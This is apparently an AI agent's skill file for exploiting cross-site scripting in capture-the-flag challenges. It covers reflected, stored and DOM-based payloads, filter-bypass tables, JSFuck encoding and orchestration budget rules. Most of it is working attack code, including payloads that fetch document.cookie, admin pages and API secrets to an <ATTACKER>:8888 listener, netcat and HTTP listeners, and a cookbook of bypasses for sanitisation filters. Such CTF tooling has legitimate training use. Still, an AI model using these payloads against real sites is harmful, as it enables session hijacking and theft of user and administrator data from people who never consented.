| name | xss |
| description | Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"xss, cross-site scripting, reflected xss, stored xss, dom xss, javascript injection, cookie steal, script injection, Cross, cross site, alert, onerror, onload, img src, svg onload, bot visit, report url, admin cookie, session hijack, csp bypass, html injection","tags":"web-application, xss, injection, client-side, cross-site-scripting","mitre_attack":"T1189, T1059.007"} |
Cross-Site Scripting (XSS) Exploitation
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Win Condition — Identify FIRST
Pattern A — Bot/Cookie Chain (classic CTF):
- A headless browser bot visits a URL you supply via
/report or /contact
- Goal: exfiltrate
document.cookie or admin page content to your listener
- Signals:
/report endpoint exists, challenge mentions "admin visits", cookie in session
Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO
/report endpoint (returns 404)
- The challenge evaluates reflected JS server-side;
alert("XSS") or alert(1) in the response = flag
- Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag",
new_umbrella / error_umbrella in response, alphanumeric filter active
- Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)
Quick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}"
curl -s "$TARGET/" | grep -i "report\|bot\|admin"
Detection
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test'
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test"
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
Stored XSS with Bot Exfiltration (CTF Pattern)
The standard CTF XSS workflow:
- Find a stored input (comments, profiles, messages)
- Inject a payload that exfiltrates data when the admin bot views it
- Trigger the bot (usually a
/report endpoint)
- Receive exfiltrated flag on your listener
python3 -m http.server 8888 &
nc -lvnp 8888 &
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'
echo '<base64_response>' | base64 -d
Reflected XSS Flag Extraction
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"
Filter Bypass Techniques
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg onload=alert(1)>
<img src=x onerror=fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)>
%253Cscript%253Ealert(1)%253C/script%253E
';alert(1);//
"-alert(1)-"
XSS to Flag — Complete CTF Workflow
- Identify injection point — test all inputs for unescaped reflection
- Determine context — HTML body, attribute, JS string, URL?
- Craft payload for context — use appropriate escape/injection
- Check for bot/report endpoint —
/report, /admin/visit, /contact
- Set up exfil listener —
python3 -m http.server or nc -lvnp
- Inject + trigger bot — store payload, then report URL to bot
- Check listener — decode response, extract flag
- Common flag locations — admin cookies,
/admin page, /.env endpoint, DOM elements
Cross-Series Budget Cap (MANDATORY for Cross N challenges)
When the challenge name is "Cross N" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no /report, filter active):
Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:
- Try 3 event-handler variants (
<input onfocus=alert("XSS") autofocus>, <details open ontoggle=alert("XSS")>, <svg/onload=alert("XSS")>)
- Try 1 JSFuck encode (
JSFuck.encode('alert("XSS")', false, true))
- Try 1 partial-range bypass (z/Z char if angle-bracket filter suspected)
If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write exploit/CONVERGED.md with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis".
Anti-pattern: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.
JSFuck — Alphanumeric Filter Bypass
Use when: alphanumeric chars are blocked but []()!+ pass through (Pattern B / Cross series).
npm install jsfuck 2>/dev/null
node -e "
const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js');
const payload = JSFuck.encode('alert(\"XSS\")', false, true);
console.log(payload);
" > /tmp/payload.txt
node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)"
PAYLOAD=$(cat /tmp/payload.txt)
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert"
Function-constructor TypeError fallback:
If server returns TypeError: Attempting to change the setter of an unconfigurable property, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes.
Fix: use runInParentScope=true (third argument) — switches from Function constructor to eval() injection:
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))"
If runInParentScope=true still fails, try raw eval wrapping:
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')"
Cross Challenge Pattern (No Bot / No Cookie)
Win condition: server-side JS evaluator detects alert() call in reflected input. No /report endpoint. No bot. No listener needed.
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked"
curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok"
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss"
Do NOT waste time on:
/report, /contact, /visit endpoints (404 on Cross challenges)
python3 -m http.server listeners (no bot will callback)
document.cookie exfiltration (cookie setter is frozen — signals Pattern B environment)
Partial-Range Tag Filter Bypass
Some Cross challenges (e.g., filter-bypass example) use a regex like <[a-yA-Y/]+ that blocks < followed by letters a–y / A–Y but excludes z/Z. Probe and bypass:
curl -sg "$TARGET/page?name=<a>" | grep -i "sorry"
curl -sg "$TARGET/page?name=<z>" | grep -i "sorry"
curl -sg "$TARGET/page?name=<Z>" | grep -i "sorry"
curl -sg "$TARGET/page?name=< img>" | grep -i "sorry"
Key insight: re.findall + + quantifier requires ≥1 matching char immediately after <. Any first character outside the class (digits, whitespace, z/Z, special chars) bypasses the regex entirely.
Filter Bypass Cookbook
When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:
| Filter blocks | Bypass class | Example payloads |
|---|
<script> tag | Event handler on any element | <svg onload=alert(1)>, <input autofocus onfocus=alert(1)>, <details open ontoggle=alert(1)> |
alert keyword | Property access / obfuscation | window['ale'+'rt'](1), (()=>alert)()(1), top[/al/.source+/ert/.source](1) |
Quotes " and ' | Template literals / charcode | <svg onload=alert`1`>, <img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))> |
( and ) | Template literal call | <svg onload=alert`1`>, setTimeout`alert\x281\x29` |
alert() overridden by prototype | iframe srcdoc / new window | <iframe srcdoc="<script>parent.alert(1)</script>">, <a href=javascript:alert(1)>click</a> |
| Tag whitelist (specific tags only) | Style/CSS injection | <div style="background:url('javascript:alert(1)')"> |
Angle brackets < > | Inject into existing JS context | ';alert(1);//, "-alert(1)-", \;alert(1);//` |
| Prototype chain hardened | Direct assignment | Object.prototype.toString=alert |
Pivot rule: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.
Bypass-Class Rotation Rule
The pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.
Track classes in exploit/xss_classes.txt:
CLASS="event-handler"
NTRIED=$(grep -c "^${CLASS}$" exploit/xss_classes.txt 2>/dev/null || echo 0)
if [ "$NTRIED" -ge 2 ]; then
echo "SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class"
else
echo "${CLASS}" >> exploit/xss_classes.txt
fi
Bypass classes to rotate among (try at least 4 per endpoint):
| # | Class name | Representative payloads |
|---|
| 1 | tag-based | <script>, <svg>, <img onerror=> |
| 2 | event-handler | onload, onerror, onfocus autofocus, ontoggle |
| 3 | javascript-url | <a href="javascript:...">, <iframe src="javascript:..."> |
| 4 | template-literal | alert`1`, String.fromCharCode(...), hex/unicode escapes |
| 5 | iframe-srcdoc | <iframe srcdoc="<script>parent.alert(1)</script>"> |
| 6 | css-style | <div style="background:url('javascript:...')">, expression(...) |
| 7 | js-context-inject | ';alert(1);//, "-alert(1)-", inject into existing script block |
| 8 | prototype-abuse | Object.prototype.toString=alert, DOM clobbering |
Why class-diversity beats deeper iteration: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.
HARD RULE: If exploit/xss_classes.txt shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write exploit/CONVERGED.md and return to orchestrator.
Tools
| Tool | Purpose |
|---|
| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |
| nc -lvnp | Netcat listener for raw data (Pattern A only) |
| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |
| XSStrike | Automated XSS detection with WAF bypass |